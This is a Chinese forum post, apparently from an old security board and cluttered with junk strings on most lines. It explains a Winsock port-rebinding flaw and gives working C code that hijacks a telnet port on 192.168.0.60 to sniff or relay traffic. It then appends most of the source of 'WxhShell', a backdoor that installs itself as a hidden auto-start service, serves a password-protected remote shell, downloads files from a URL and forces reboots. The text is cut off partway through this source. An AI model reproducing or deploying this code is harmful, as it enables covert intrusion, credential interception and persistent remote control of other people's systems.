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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Os!x<r|r  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ih |&q  
czB),vooz  
  saddr.sin_family = AF_INET; VJ1rU mO~  
(nYGN$qC9  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); kjt(OFh'Y+  
: ?>yi7w  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr));  &'?Hh(  
OM`Ws5W}f  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~D`  
U99Uny9  
  这意味着什么?意味着可以进行如下的攻击: =Wz)(N  
A7T(p7pP  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 uC[F'\Y  
Qv)DSl  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) FtDF}   
2tQ?=V(Di  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _{GD\Ai_W  
9V;A +d,  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  E 0@u|  
E5a7p.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 L[U?{  
AtqsrYj  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 pr1kYMrqri  
\FnR'ne  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 nj-LG!"a  
1KjzKFnb  
  #include Q@"!uB.e  
  #include lg{M\ +  
  #include -a'D~EGB^  
  #include    Lzx/9PPYn  
  DWORD WINAPI ClientThread(LPVOID lpParam);   N9u {)u  
  int main() _T;Kn'Gz(&  
  { Zm+GH^f'  
  WORD wVersionRequested; 98vn"=3  
  DWORD ret; o)'06FF\$  
  WSADATA wsaData; AE Abny q  
  BOOL val; |EY1$qItid  
  SOCKADDR_IN saddr; &y-z[GR[{  
  SOCKADDR_IN scaddr; D}N4*L1  
  int err; *q@3yB}  
  SOCKET s; db>"2EE  
  SOCKET sc; klTRuU(  
  int caddsize; mILCC} Kt  
  HANDLE mt; 6.a|w}C`  
  DWORD tid;   <y#@v  G  
  wVersionRequested = MAKEWORD( 2, 2 ); N37CAbw0  
  err = WSAStartup( wVersionRequested, &wsaData ); rmdg~  
  if ( err != 0 ) { H;+98AIy`  
  printf("error!WSAStartup failed!\n"); 48{B}j%oU  
  return -1; 5fLp?`T  
  } n' 1LNi  
  saddr.sin_family = AF_INET; Bp4#"y2  
   l-SVI9|<0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4y $okn\}i  
=6=l.qyYK  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); hW\'EJ  
  saddr.sin_port = htons(23); +6L.a3&(b  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /2 qxJvZ  
  { }|j#C[  
  printf("error!socket failed!\n"); vorb?iVf>  
  return -1; _*xY>?Aq  
  } y`cL3 xr4R  
  val = TRUE; VmZDU(M  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Gq7\b({=  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) FMitIM*]   
  { .Vs|&c2im  
  printf("error!setsockopt failed!\n"); 7324#HwS  
  return -1; 5JG`FRW!  
  } om6`>I*  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Vygh|UEo  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 b$tf9$f  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 GKG:iR)  
+Q"XwxL<6  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) qVvnl  
  { ZbH_h]1$D  
  ret=GetLastError(); j_b/66JyN  
  printf("error!bind failed!\n"); Zj0h0Vt  
  return -1; 2/x~w~3U  
  } ^}<]sjmk  
  listen(s,2); C\0,D9  
  while(1) >}d6)s|   
  { 9QeBz`lm)  
  caddsize = sizeof(scaddr); $-\%%n0>6  
  //接受连接请求 Of eM;)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); INRRA  
  if(sc!=INVALID_SOCKET) B|=S-5pv*  
  { Qh]k)]+*|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); V2g"5nYT  
  if(mt==NULL) \\Z?v,XsS  
  { }$* z:E  
  printf("Thread Creat Failed!\n"); 46H@z=5  
  break; [lz H%0 V  
  } }T53y6J#  
  } ^C}f|{J  
  CloseHandle(mt); U?Vik  
  } ]UZP dw1D  
  closesocket(s); ghk"XJ|  
  WSACleanup(); "i!W(}x+  
  return 0; C\ 34R  
  }   'yh)6mid  
  DWORD WINAPI ClientThread(LPVOID lpParam) +u lxCm_lV  
  { 6 I43a1[s  
  SOCKET ss = (SOCKET)lpParam; cq/@ng*o  
  SOCKET sc; q^L"@Q5;  
  unsigned char buf[4096]; o ,8;=f,7  
  SOCKADDR_IN saddr; BM87f:d  
  long num; _9S"rH[  
  DWORD val; -@~4:o  
  DWORD ret; *]DO3Zw'  
  //如果是隐藏端口应用的话,可以在此处加一些判断 iZ( Jw Y  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   9|K :\!7  
  saddr.sin_family = AF_INET; 0 Cyus  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Tq8U5#NF  
  saddr.sin_port = htons(23); uTy00`1  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $M1;d1e6'  
  { F#RtU :R  
  printf("error!socket failed!\n"); MI`<U:-lP  
  return -1; 1b@]^Ue  
  } [5GzY`/m  
  val = 100; S5cs(}Bq  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  7uzc1}r  
  { 0bu!(Tpg7  
  ret = GetLastError(); qR4-~ p 8  
  return -1; V)I Tk \  
  } p1IN%*IV+o  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *QoQ$alHH  
  { ~Yre(8+M  
  ret = GetLastError(); LDDt=HEY4  
  return -1; GMpg+rK  
  } mw83pU6  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) '"6*C*XS  
  { 8]4W@~c  
  printf("error!socket connect failed!\n"); O1oh,~W  
  closesocket(sc); /5Yl, P  
  closesocket(ss); 5K =>x<  
  return -1; #z c$cr  
  } ]hbrzv o  
  while(1) &b]_#c   
  { j(c;r>  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 )t,efg  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 `mquGk|)  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 tHFUV\D;,  
  num = recv(ss,buf,4096,0); EIOP+9zP  
  if(num>0) C`8.8  
  send(sc,buf,num,0); k?_uv  
  else if(num==0) k:&B b"  
  break; ]'z 5%'  
  num = recv(sc,buf,4096,0); `a@YbuLd  
  if(num>0) ];QX&";Z  
  send(ss,buf,num,0); +t(Gt0+  
  else if(num==0) {$C"yksr  
  break; FyV $`c$  
  } !]&+g'aC3  
  closesocket(ss); ] B>.}  
  closesocket(sc); ~hT(uxU/  
  return 0 ; A=np ?wc  
  } 6L-3cxqf\  
o\nFSG kn  
- I~\  
========================================================== o9Tsyjbj  
:T#f&|Gg;  
下边附上一个代码,,WXhSHELL mqiCn]8G  
=ibKdPtTh^  
========================================================== L; <Pod  
.gCun_td#  
#include "stdafx.h" hh-sm8  
'Ojxzz*tT  
#include <stdio.h> | 8akp  
#include <string.h> Iz!]LW  
#include <windows.h> g,f AV M  
#include <winsock2.h> M[0NB2`Wp  
#include <winsvc.h> 9 ]|C$;kw@  
#include <urlmon.h> > v4+@o[~  
%'Z`425a  
#pragma comment (lib, "Ws2_32.lib") nDz.61$[  
#pragma comment (lib, "urlmon.lib") , ksr%gR+  
9ol&p>  
#define MAX_USER   100 // 最大客户端连接数 RVr5^l;"  
#define BUF_SOCK   200 // sock buffer 1\/^X>@W{  
#define KEY_BUFF   255 // 输入 buffer k%;oc$0G-3  
7<LCX{Uw  
#define REBOOT     0   // 重启 <Q_E3lQy/  
#define SHUTDOWN   1   // 关机 48.4GwL7  
1CS\1[E  
#define DEF_PORT   5000 // 监听端口 N \woFrG  
I@(3~ Ab  
#define REG_LEN     16   // 注册表键长度 >ni0:^vp  
#define SVC_LEN     80   // NT服务名长度 w`F'loUEt  
gdg "g6b  
// 从dll定义API  >Xxi2Vy  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); SjvSnb_3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 43!E>mq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); UDlM?r:f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L!Gpk)}[i  
nlc$"(eA[H  
// wxhshell配置信息 ^a7a_M  
struct WSCFG { kXO c)  
  int ws_port;         // 监听端口 lXutZ<S[  
  char ws_passstr[REG_LEN]; // 口令 M'@  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4!-/m7%eF  
  char ws_regname[REG_LEN]; // 注册表键名 ah#jvp  
  char ws_svcname[REG_LEN]; // 服务名 @/='BVb'T  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 BoHNni  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }RUK?:lEA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?JR?PW8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <_SdW 5BF<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" B3E}fQm )  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 yB4eUa!1  
{3``B#}  
}; MKX58y{+  
 4Gj  
// default Wxhshell configuration Fh}GJE   
struct WSCFG wscfg={DEF_PORT, !_-Uwg  
    "xuhuanlingzhe",  H@sM$8  
    1, Mwa Rwk;  
    "Wxhshell", n/% M9osF  
    "Wxhshell", q<cxmo0S  
            "WxhShell Service", >oapw5~5  
    "Wrsky Windows CmdShell Service", <Kk?BRxi  
    "Please Input Your Password: ", Xc<Hm  
  1, hwSxdT6  
  "http://www.wrsky.com/wxhshell.exe", ?2K~']\S  
  "Wxhshell.exe" D4T(Dce  
    }; m:cWnG  
5e^z]j1Yv  
// 消息定义模块 i4)]lWnd  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; FaKZ|~Y e  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <'~6L#>,<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "7w=LhzV[$  
char *msg_ws_ext="\n\rExit."; ?v&2^d4C*F  
char *msg_ws_end="\n\rQuit."; -gv[u,R  
char *msg_ws_boot="\n\rReboot..."; %Lp#2?*  
char *msg_ws_poff="\n\rShutdown..."; L#N ]1#;  
char *msg_ws_down="\n\rSave to "; lN*"?%<x>  
Sd\oL*lN  
char *msg_ws_err="\n\rErr!"; 5-:H  
char *msg_ws_ok="\n\rOK!"; Q'aVdJN,  
ov1#BeQ  
char ExeFile[MAX_PATH]; Mz;KXP  
int nUser = 0; *~d<]U5h  
HANDLE handles[MAX_USER]; m>!aI?g  
int OsIsNt; ,E2c9V'  
so A] f  
SERVICE_STATUS       serviceStatus; Q 34-a"6)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;33SUgX  
VYQ]?XF3i  
// 函数声明 5L,q,kVS  
int Install(void); .+~9 vH  
int Uninstall(void); '^tC|)  
int DownloadFile(char *sURL, SOCKET wsh); )+f"J$ah  
int Boot(int flag); C-/+n5J  
void HideProc(void); Sre:l'.  
int GetOsVer(void); 5qkyi]/U8  
int Wxhshell(SOCKET wsl); 9jllW[`2F  
void TalkWithClient(void *cs); \\Nt^j3qR  
int CmdShell(SOCKET sock); 0RN7hpf&`  
int StartFromService(void); J5}?<Dd:  
int StartWxhshell(LPSTR lpCmdLine); Z*.rv t  
Us3zvpy)o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); DKG; up0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Zk5AZ R!|  
6dYa07  
// 数据结构和表定义 Q fL8@W~e  
SERVICE_TABLE_ENTRY DispatchTable[] = @QDpw1;V'  
{ tZ:fh  p  
{wscfg.ws_svcname, NTServiceMain}, z\Z+>A  
{NULL, NULL} 2c3/iYCKP  
}; WmE4TL^8?  
AA}+37@2I  
// 自我安装 n`p/;D=?  
int Install(void) Iv?1XI=  
{ ix 5\Y  
  char svExeFile[MAX_PATH]; [!4V_yOb  
  HKEY key; vX$|/74  
  strcpy(svExeFile,ExeFile); y.a)M?3  
W2A!BaH%  
// 如果是win9x系统,修改注册表设为自启动 5?TX.h9B4  
if(!OsIsNt) { )9+H[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E>F6!qYm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); peVzF'F  
  RegCloseKey(key); #/)U0 IR)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r<'B\.#tp>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %< Jj[F  
  RegCloseKey(key); %/R[cj 8  
  return 0; /km0[M  
    } u89Q2\z~"M  
  } h2 >a_0"  
} ~jJe|zg>  
else { TIno"tc3  
gKRlXVS  
// 如果是NT以上系统,安装为系统服务 |j4;XaG)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _ + >V(,{G  
if (schSCManager!=0) _ FN#Vq2  
{ Qi|k,1A0  
  SC_HANDLE schService = CreateService y~ wN:  
  ( yg"FF:^T  
  schSCManager, Q>uJ:[x+  
  wscfg.ws_svcname, 'acCnn'  
  wscfg.ws_svcdisp, la`f@~Bbr1  
  SERVICE_ALL_ACCESS, vh^?M#\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 'fY29Xr^  
  SERVICE_AUTO_START, H WFnIUv  
  SERVICE_ERROR_NORMAL, YyC$\HH6  
  svExeFile, >FL%H=]  
  NULL, ty8E;[ '  
  NULL, "4.A@XsY  
  NULL, AdRK)L  
  NULL, ephvvj~zW4  
  NULL ^C;ULUn3  
  ); hdYd2 j  
  if (schService!=0) YH&0Vy#c$  
  { #}[NleTVt  
  CloseServiceHandle(schService); U+ V yH4"  
  CloseServiceHandle(schSCManager); Lo}zT-F  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); iL'j9_w,  
  strcat(svExeFile,wscfg.ws_svcname); ;6*$!^*w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ne=CN!=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Bu4@FIK!C  
  RegCloseKey(key); A#]78lR  
  return 0; Xkf|^-n  
    } u3IhB8'  
  } "nU] 2  
  CloseServiceHandle(schSCManager); LPkl16yZ  
} |^gnT`+  
}  Bm&6  
;t4YI7E*  
return 1; (.kzJ\x  
} HaQox.v%  
]i8t  
// 自我卸载 .v['INK9  
int Uninstall(void) o RK:{?Y  
{ RT[ E$H  
  HKEY key; "MyMByomQ  
;+lsNf  
if(!OsIsNt) { VBK|*Tl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V/yj.aA*@  
  RegDeleteValue(key,wscfg.ws_regname); Sea6xGdq  
  RegCloseKey(key); fiLlOr%r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Bx|h)e9  
  RegDeleteValue(key,wscfg.ws_regname); rf]x5%ij  
  RegCloseKey(key); (dHjf;  
  return 0; 0+KSD{  
  } <A&Zl&^1  
} c;88Wb<|W  
} A&X XL~yH  
else { 8*&YQId~  
h79~d%-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h/*@ML+bB8  
if (schSCManager!=0) dyl1~'K^  
{ i>(TPj|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /b410NP5  
  if (schService!=0) 1+qP7 3a^  
  { t<e3EW@>>  
  if(DeleteService(schService)!=0) { &@'+h* b  
  CloseServiceHandle(schService); 6u{%jSA>D\  
  CloseServiceHandle(schSCManager); ]6,D 9^{;  
  return 0; 3]kN9n{  
  } ;dTxQ_:  
  CloseServiceHandle(schService); bl#6B.*=  
  } %Hu.FS5'  
  CloseServiceHandle(schSCManager); rv2;)3/*  
} v(P <_}G  
} m1M6N`f  
6+:;M b_S  
return 1; 593!;2/@  
} ,Uy;jk  
rnBp2'EM  
// 从指定url下载文件 3Qu-X\  
int DownloadFile(char *sURL, SOCKET wsh) T[2<_nn=  
{ sk@aOv'*(  
  HRESULT hr; d"thM  
char seps[]= "/"; nY,LQ0r  
char *token; |Gr@Mi5  
char *file; P[r$KGz  
char myURL[MAX_PATH]; T NF  
char myFILE[MAX_PATH]; c!mMH~#  
WnA Y<hZ|  
strcpy(myURL,sURL); =Ea,8bpn  
  token=strtok(myURL,seps); {8,_[?H  
  while(token!=NULL) Pav  
  { SZvC4lOn#  
    file=token; GZm=>!T  
  token=strtok(NULL,seps); D H:9iX'  
  } Ti>}To}B5  
+R"n_6N  
GetCurrentDirectory(MAX_PATH,myFILE); kH4m6p  
strcat(myFILE, "\\"); fr&p0)85>B  
strcat(myFILE, file); j_S3<wEJ  
  send(wsh,myFILE,strlen(myFILE),0); *E-MJCv  
send(wsh,"...",3,0); =FfR?6 ~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mB%m<Zo\U  
  if(hr==S_OK) ( geV(zT  
return 0; N]&hw&R{Q  
else ruy?#rk  
return 1; Y\F4  
$9Gra#  
} <eZrb6a'  
)M@^Z(W/a  
// 系统电源模块 F1p|^hYDW  
int Boot(int flag) L+0:'p=  
{ $)'LbOe  
  HANDLE hToken; qos/pm$&i  
  TOKEN_PRIVILEGES tkp; ~w(A3I.  
W >|'4y)  
  if(OsIsNt) { !$<Kp6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y@+9Ukd/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [YJ*zO  
    tkp.PrivilegeCount = 1; u\km_e  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U@:l~ xJ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <"av /`;  
if(flag==REBOOT) { _S CY e  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pqe%tRH{  
  return 0; qBZ;S3  
} LN9.Q'@r?  
else { m; PTO$--  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^BP4l_rO9  
  return 0; 1+Vei<H$  
} MPLeqk$;  
  } tZ:fOM  
  else { C}\kp0mz  
if(flag==REBOOT) {  !>Q{co'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) D2zqDo<+;  
  return 0; wd1>L) T  
} SRrp= >w?  
else { ^[v>B@p*{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) lo36b zbT  
  return 0; !"'@c  
} l I2UpfkBP  
} l>)+HoD  
%m$t'?  
return 1; 2 S2;LB  
} ,/[1hhP@  
Ld=6'C8ud  
// win9x进程隐藏模块 x[$ :^5V  
void HideProc(void) ]Nue1xV_  
{ i'}"5O+  
N5b&tJb M0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N8X)/W  
  if ( hKernel != NULL ) n%s$!R- \  
  { 2(R{3E4.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); g^^^fKUp)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b)T6%2  
    FreeLibrary(hKernel); ~}Z{hs)  
  } B&}lYo  
<lWBhrz  
return; ~u r}6T  
} GD!!xt  
!X=93%  
// 获取操作系统版本 t`1~5#?Du(  
int GetOsVer(void) oOGFg3X  
{ FQcm =d_s  
  OSVERSIONINFO winfo; Z-aB[hE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Q|f)Awe$  
  GetVersionEx(&winfo); :kXxxS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zF&_9VNk=c  
  return 1; .iST!nh  
  else =HMuAUa.  
  return 0; YW"nPZNPy~  
} nDNK}O~'  
'f6!a5qC  
// 客户端句柄模块 O\w-hk  
int Wxhshell(SOCKET wsl) 4n%|h-!8  
{ KCn#*[  
  SOCKET wsh; )XYCr<s2"  
  struct sockaddr_in client; /1r {z1pv\  
  DWORD myID; l Ng)k1  
iF1zLI<A  
  while(nUser<MAX_USER) RMAbu*D0  
{ )(yKm/5 0  
  int nSize=sizeof(client); z@2nre  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <p[RhP  
  if(wsh==INVALID_SOCKET) return 1; M ED_#OS  
a(x#6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T=fVD8  
if(handles[nUser]==0) Vtk}>I@%  
  closesocket(wsh); bW zUWLa  
else ^k!u  
  nUser++; Hlj3z3  
  } M2nZ,I=l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'A/ f>W  
x^ sTGd  
  return 0; :kucDQE({?  
} Qq\hD@Z|  
U"K%ip:Wd  
// 关闭 socket +b{tk=Q:  
void CloseIt(SOCKET wsh) &9xcP.3  
{ [8[`V)b  
closesocket(wsh); fjS#  
nUser--; 'WwD$e0=  
ExitThread(0); D*8oFJub  
} ;(LC{jY  
lV?OYS|4i  
// 客户端请求句柄  "-G&]YMl  
void TalkWithClient(void *cs) Tg v]30F)  
{ wA6<Buj D  
wVUm!Y  
  SOCKET wsh=(SOCKET)cs; XMpE|M! c  
  char pwd[SVC_LEN]; QB7^8O!<  
  char cmd[KEY_BUFF]; h'A #Yp0,  
char chr[1]; |l,0bkY@&  
int i,j; wE_#b\$=b  
9bD ER  
  while (nUser < MAX_USER) { |LE*R@|3$  
^2mCF  
if(wscfg.ws_passstr) { \X;)Kt"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1i 6>~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =7zvp,B  
  //ZeroMemory(pwd,KEY_BUFF); 5R O_)G<  
      i=0; ]$A6krfh|  
  while(i<SVC_LEN) { E D_J8 +  
)eBCO~HS  
  // 设置超时 Yk5Cyq  
  fd_set FdRead; " R-Pe\W  
  struct timeval TimeOut; 0j[%L!hny  
  FD_ZERO(&FdRead); e'dZ2;X$zo  
  FD_SET(wsh,&FdRead); /x&52~X5-  
  TimeOut.tv_sec=8; M\=/i\-  
  TimeOut.tv_usec=0; /^Zgv-n  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0+_:^z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *l'5z)]  
tVAH\*a,/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wU5= '  
  pwd=chr[0]; QBTjiaYGa'  
  if(chr[0]==0xd || chr[0]==0xa) { Fpntd IU  
  pwd=0; X6o iOs  
  break; ['@R]Si"!  
  } efm#:>H  
  i++;  Qs\!Kk@  
    } [\)irCDv  
gOn^}%4.I  
  // 如果是非法用户,关闭 socket (%|L23  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *iujJ i  
} ]q@W(\I  
MJ`BlE,Fmb  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zY\MzhkX,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); | PzXN+DW  
6s&%~6J,  
while(1) { {i:Ayhq~&  
EN~ha:9  
  ZeroMemory(cmd,KEY_BUFF); EP]OJ$6I  
SWMi+)  
      // 自动支持客户端 telnet标准   qISzn04  
  j=0;  ?r(Bu  
  while(j<KEY_BUFF) { wfBf&Z0{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LF_am*F  
  cmd[j]=chr[0]; N`!=z++G  
  if(chr[0]==0xa || chr[0]==0xd) { 98t|G5  
  cmd[j]=0; PH]ui=  
  break; ?1/wl;=fm  
  } PD@@4@^  
  j++; SR&'38UCe  
    } =VDtZSa!$^  
ScTeh  
  // 下载文件 HiDL:14  
  if(strstr(cmd,"http://")) { YBY!!qjPx  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .k:Uj-&  
  if(DownloadFile(cmd,wsh)) #6qLu  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2W=am_\0e.  
  else atjrn:X  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )\0LxsZ  
  } tU(vt0~b  
  else { "(SZ;y  
|>AHc_:$$  
    switch(cmd[0]) { 3']=w@~ O[  
  Lw #vHNf6  
  // 帮助 aG/L'weR  
  case '?': { aT%6d@g  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); NW@guhK.  
    break; .eM A*C~n  
  } X4:SH> U!  
  // 安装 uOnyU+fZV  
  case 'i': { +#0,2 wR#  
    if(Install()) ttC+`0+H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~:lN("9OI  
    else }e0)=*;l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zk75GC  
    break; ,[0rh%%j  
    } <{b#nPc!,#  
  // 卸载 XKT2u!Lx  
  case 'r': { L# NW<T  
    if(Uninstall()) X |X~|&j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !Typ_Cs  
    else vaUUesytt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0`l(c  
    break; ' CO3b,  
    } k=qb YGK  
  // 显示 wxhshell 所在路径 %.;`0}b  
  case 'p': { K=X13As_  
    char svExeFile[MAX_PATH]; NKS-G2 Y<P  
    strcpy(svExeFile,"\n\r"); {pW(@4U  
      strcat(svExeFile,ExeFile); / qo`vk A  
        send(wsh,svExeFile,strlen(svExeFile),0); [P?.( *  
    break; [ZkK)78}k  
    } [X|KXlNfm  
  // 重启 !^<%RT9@|  
  case 'b': { } X[wWH  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h$eVhN &Vv  
    if(Boot(REBOOT)) oN6 '%   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CNF3".a  
    else { J`x!c9zg7  
    closesocket(wsh); {!rpE7P-  
    ExitThread(0); u4p){|x7s  
    } X:Z*7P/  
    break; 6t(I.>-  
    } dY%>C75O  
  // 关机 >,. x'{  
  case 'd': { 2Sg,b8  
